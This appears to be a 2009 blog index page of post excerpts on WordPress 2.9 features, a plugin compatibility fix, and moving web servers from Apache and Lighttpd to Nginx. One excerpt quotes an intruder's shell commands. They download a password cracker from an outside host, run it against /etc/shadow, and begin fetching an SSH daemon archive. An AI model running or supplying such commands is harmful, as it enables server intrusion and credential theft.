by admin on December 18th, 2009
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The new Wordpress 2.9 released today features a new functionality for Wordpress theme designers/coders to add post thumbnails by using the command the_post_thumnail(). Of course, don’t forget that the fact that in order to use this feature, you need to select an image under Wordpress admin ar ...
by admin on December 18th, 2009
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For those of you who are getting errors with Simple Tags plugin when upgrading to Wordpress 2.9, there’s a simple hack to make it work: Edit the file simple-tags.php and change the following from this: if ( strpos($wp_version, ‘2.7′) !== false || strpos($wp_version, ‘2.8̸ ...
by admin on December 18th, 2009
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Here’s a rather interesting forum post that details how hackers hack web servers: w wget geocities.com/cretu_2004/john-1.6.tar.gz;tar zxvf john-1.6.tar.gz;rm -rf john-1.6.tar.gz;cd john-1.6/src;make linux-x86-any-elf;cd ../run;./john /etc/shadow wget www.geocities.com/securedro/sshd.tar.gz;tar ...
by admin on December 16th, 2009
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Nginx is another super-fast, web server built for handling massive amounts of web traffic. Compared to Lighttpd, and based on real-world testing, Nginx offers better performance as it doesn’t leak memory as Lighttpd. Recently I had the pleasure of moving all my web servers from Lighttpd to Ng ...
by admin on October 14th, 2009
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In this blog post, I will show you how to convert a Wordpress blog to run Lighttpd instead of the default Apache Httpd server (on a Plesk server specifically). You can probably apply most of these instructions to any other web servers running on raw Apache but if you are that good at managing web s ...
by admin on August 24th, 2009
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This is a Wordpress permance test using Lighttpd (which is a faster alternative to Apache) and Apache Httpd on a test server loaded with a real blog.  All tests were done from empty load of zero. For testing, I’ve used a virtual dedicated server from MediaTemple, specifically their dv Extreme ...